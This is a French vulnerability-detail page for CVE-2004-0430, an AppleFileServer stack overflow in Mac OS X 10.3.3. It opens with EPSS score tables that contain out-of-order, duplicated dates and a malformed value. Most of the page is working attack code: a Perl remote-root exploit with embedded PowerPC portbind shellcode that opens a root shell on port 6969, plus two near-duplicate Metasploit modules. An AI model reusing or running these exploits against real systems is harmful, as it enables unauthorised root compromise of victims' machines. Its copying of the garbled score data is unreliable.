CVE-2004-0430 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	70.81%	–	–
2023-03-12	–	–	–	11.23%	–
2023-04-16	–	–	–	12.53%	–
2023-11-12	–	–	–	10.57%	–
2024-01-28	–	–	–	10.57%	–
2024-06-02	–	–	–	10.57%	–
2024-12-22	–	–	–	43.35%	–
2025-03-02	–	–	–	43.35%	–
2025-03-09	–	–	–	46.96%	–
2025-01-19	–	–	–	43.35%	–
2025-03-09	–	–	–	46.96%	–
2025-03-18	–	–	–	–	80.15%
2025-03-18	–	–	–	–	80.15,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	94%
2023-04-16	95%
2023-11-12	94%
2024-01-28	95%
2024-06-02	95%
2024-12-22	97%
2025-03-02	98%
2025-03-09	98%
2025-01-19	97%
2025-03-09	98%
2025-03-18	99%
2025-03-18	99%

#!/usr/bin/perl # Priv8security com remote root exploit for AppleFileServer. # PUBLIC VERSION!!!! # # Bug found by Dave G. and Dino Dai Zovi. # URL: http://www.atstake.com/research/advisories/2004/a050304-1.txt # # [wsxz@localhost buffer]$ perl priv8afp.pl -h 10.4.12.199 -t 0 # -=[Priv8security.com Apple File Server remote root exploit!]=- # # [+] Using target: MacOSX 10.3.3 # [+] Using ret: 0xf0101cb0 # [+] Sending Request Opensession... DOne! # [+] Got response packet: # Flags: 1 Cmd: 4 ID: 31337 # [+] Sending FPloginEXT packet... DOne! # [+] Waiting... We got in =) # # ****** Welcome to 'Adriano-Limas-Computer' ****** # # Darwin Adriano-Limas-Computer.local 7.3.1 Darwin Kernel Version 7.3.1: Mon Mar # 22 21:48:41 PST 2004; root:xnu/xnu-517.4.12.obj~2/RELEASE_PPC Power Macintosh powerpc # uid=0(root) gid=0(wheel) groups=0(wheel), 1(daemon), 2(kmem), 3(sys), 4(tty), # 5(operator), 20(staff), 31(guest), 80(admin) # #################################################################### use IO::Socket; use Getopt::Std; getopts('h:t:p:o:', \%args); if (defined($args{'h'})) { $host = $args{'h'}; } if (defined($args{'t'})) { $target = $args{'t'}; } if (defined($args{'p'})) { $port = $args{'p'};}else{$port = 548;} if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;} my @targets = ( # description, ret, Magic size. ["MacOSX 10.3.3", 0xf0101cb0, 4], #tested on my ibook g4 ); print STDERR "-=[Priv8security.com Apple File Server remote root exploit!]=-\n\n"; if (!defined($host) || !defined($target)) { Usage(); } ($desc,$ret,$msize) = @{$targets[$target]}; print STDERR "[+] Using target: $desc\n"; print STDERR "[+] Using ret: 0x" . sprintf('%lx', $ret + $offset) . "\n"; $shellcode = # portbind shellcode by br00t [at] blueyonder.co.uk "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb\x01\x70". "\x39\x80\x01\x70\x3b\xdf\xff\x88\x7c\xbe\x29\xae\x3b\xdf\xff\x89". "\x7c\xbe\x29\xae\x3b\xdf\xff\x8a\x7c\xbe\x29\xae\x3b\xdf\xff\x8b". "\x7c\xbe\x29\xae\x38\x6c\xfe\x92\x38\x8c\xfe\x91\x38\xac\xfe\x96". "\x38\x0c\xfe\xf1\x44\xff\xff\x02\x60\x60\x60\x60\x7c\x67\x1b\x78". "\x38\x9f\xff\x84\x38\xac\xfe\xa0\x38\x0c\xfe\xf8\x44\xff\xff\x02". "\x60\x60\x60\x60\x7c\xe3\x3b\x78\x38\x8c\xfe\x91\x38\x0c\xfe\xfa". "\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xe3\x3b\x78\x38\x8c\xfe\x90". "\x38\xac\xfe\x90\x38\x0c\xfe\xae\x44\xff\xff\x02\x60\x60\x60\x60". "\x38\x8c\xfe\x90\x38\x0c\xfe\xea\x44\xff\xff\x02\x60\x60\x60\x60". "\x38\x8c\xfe\x91\x38\x0c\xfe\xea\x44\xff\xff\x02\x60\x60\x60\x60". "\x38\x8c\xfe\x92\x38\x0c\xfe\xea\x44\xff\xff\x02\x60\x60\x60\x60". "\x38\x0c\xfe\x92\x44\xff\xff\x02\x60\x60\x60\x60\x39\x1f\xff\x83". "\x7c\xa8\x29\xae\x38\x7f\xff\x7c\x90\x61\xff\xf8\x90\xa1\xff\xfc". "\x38\x81\xff\xf8\x38\x0c\xfe\xcb\x44\xff\xff\x02\x41\x41\x41\x41". "\x41\x41\x41\x41\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\x02\x1b\x39". "\x41\x41\x41\x41"; $bin_ret = reverse(pack('l', ($ret + $offset))); $buffer = "\x60" x 141; $buffer .= $bin_ret; $buffer .= "\x60" x (824 - length($shellcode)); $buffer .= $shellcode; $buffer .= "A" x 100; $req = "\x00\x04".# Request Opensession "\x7a\x69\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; $packet = "\x00". # Request "\x02". # Command "\x7a\x69".# leet ID "\x00\x00\x00\x00".# Data Offset "\x00\x00\x04\x00".# Length "\x00\x00\x00\x00".# Reserved "\x3f". # FPloginext "\x00". # Pad "\x00\x00". # Flags "\x0e\x41\x46\x50\x56\x65\x72\x73\x69\x6f\x6e\x20\x32\x2e\x31".# Version "\x10\x43\x6c\x65\x61\x72\x74\x78\x74\x20\x70\x61\x73\x73\x77\x72\x64". # UAM "\x03". # Type "\x00\x07". # User Len "\x41\x64\x72\x69\x61\x6e\x6f" .# AFPNAME USER "\x03". # Pathtype "\x80\xff". # Path Len $buffer. # Evil String "\x00"; # Pad $len = reverse(pack("S", $msize)); substr($packet, 63 , 2, $len); $f = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>$port) or die "[-] Cant connect: $!\n\n"; print STDERR "[+] Sending Request Opensession... "; $f->send($req); print STDERR "DOne!\n"; $f->recv($crap,128); if($crap){ print STDERR "[+] Got response packet:\n"; parse_packet($crap); } print STDERR "[+] Sending FPloginEXT packet... "; $f->send($packet); print STDERR "DOne!\n"; print STDERR "[+] Waiting... "; sleep(5); $sc = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>6969,Type=>SOCK_STREAM,Reuse=>1) or die "No luck :( $!\n\n"; print "We got in =)\n"; $sc->autoflush(1); sleep(2); print $sc "echo;echo \"****** Welcome to '`hostname -s`' ******\"\n"; print $sc "echo;uname -a;id;echo\n"; die "cant fork: $!" unless defined($pid = fork()); if ($pid) { while(defined ($line = <$sc>)) { print STDOUT $line; } kill("TERM", $pid); } else { while(defined ($line = <STDIN>)) { print $sc $line; } } close($sc); print "Good bye!!\n"; sub parse_packet { my ($buf) = shift @_; my (@packet); my ($i); for ($i=0;$i<length($buf);$i++) { push(@packet, substr($buf, $i, 1)); } my ($flags) = unpack("C", @packet[0]); my ($cmd) = unpack("C", @packet[1]); my ($request_id) = unpack("n", @packet[2] . @packet[3]); print " Flags: $flags Cmd: $cmd ID: $request_id\n"; } sub Usage { print STDERR "Options: -h Victim ip. -t Target number from list. -p Port to attack. -o Offset, try in steps of 500.\n\n"; print STDERR "Targets:\n"; for($i=0; $i < @targets; $i++){ ($dd) = @{$targets[$i]}; print STDERR " $i - $dd\n"; } print STDERR "\nUsage: perl $0 -h Victim -t target\n\n"; exit; } # milw0rm.com [2004-08-13]

## # $Id: loginext.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'AppleFileServer LoginExt PathName Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the AppleFileServer service on MacOS X. This vulnerability was originally reported by Atstake and was actually one of the few useful advisories ever published by that company. You only have one chance to exploit this bug. This particular exploit uses a stack-based return address that will only work under optimal conditions. }, 'Author' => 'hdm', 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2004-0430'], [ 'OSVDB', '5762'], [ 'BID', '10271'], ], 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x20", 'MinNops' => 128, 'Compat' => { 'ConnectionType' => "+find" } }, 'Targets' => [ # Target 0 [ 'Mac OS X 10.3.3', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, 'Ret' => 0xf0101c0c # stack address :< }, ], ], 'DisclosureDate' => 'May 3 2004')) # Configure the default port to be AFP register_options( [ Opt::RPORT(548), ], self.class) end def exploit connect print_status("Trying target #{target.name}...") path = "\xff" * 1024 path[168, 4] = Rex::Arch.pack_addr(target.arch, target.ret) path[172, payload.encoded.length] = payload.encoded # The AFP header afp = "\x3f\x00\x00\x00" # Add the authentication methods ["AFP3.1", "Cleartxt Passwrd"].each { |m| afp << [m.length].pack('C') + m } # Add the user type and afp path afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9) afp << "\x03" + [path.length].pack('n') + path # Add the data stream interface header dsi = [ 0, # Flags 2, # Command rand(65536), # XID 0, # Data Offset afp.length, # Data Length 0 # Reserved ].pack("CCnNNN") + afp sock.put(dsi) handler disconnect end end

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'AppleFileServer LoginExt PathName Overflow', 'Description' => %q{ This module exploits a stack overflow in the AppleFileServer service on MacOS X. This vulnerability was originally reported by Atstake and was actually one of the few useful advisories ever published by that company. You only have one chance to exploit this bug. This particular exploit uses a stack-based return address that will only work under optimal conditions. }, 'Author' => 'hdm', 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2004-0430'], [ 'OSVDB', '5762'], [ 'BID', '10271'], ], 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x20", 'MinNops' => 128, 'Compat' => { 'ConnectionType' => "+find" } }, 'Targets' => [ # Target 0 [ 'Mac OS X 10.3.3', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, 'Ret' => 0xf0101c0c # stack address :< }, ], ], 'DisclosureDate' => 'May 3 2004')) # Configure the default port to be AFP register_options( [ Opt::RPORT(548), ], self.class) end def exploit connect print_status("Trying target #{target.name}...") path = "\xff" * 1024 path[168, 4] = Rex::Arch.pack_addr(target.arch, target.ret) path[172, payload.encoded.length] = payload.encoded # The AFP header afp = "\x3f\x00\x00\x00" # Add the authentication methods ["AFP3.1", "Cleartxt Passwrd"].each { |m| afp << [m.length].pack('C') + m } # Add the user type and afp path afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9) afp << "\x03" + [path.length].pack('n') + path # Add the data stream interface header dsi = [ 0, # Flags 2, # Command rand(65536), # XID 0, # Data Offset afp.length, # Data Length 0 # Reserved ].pack("CCnNNN") + afp sock.put(dsi) handler disconnect end end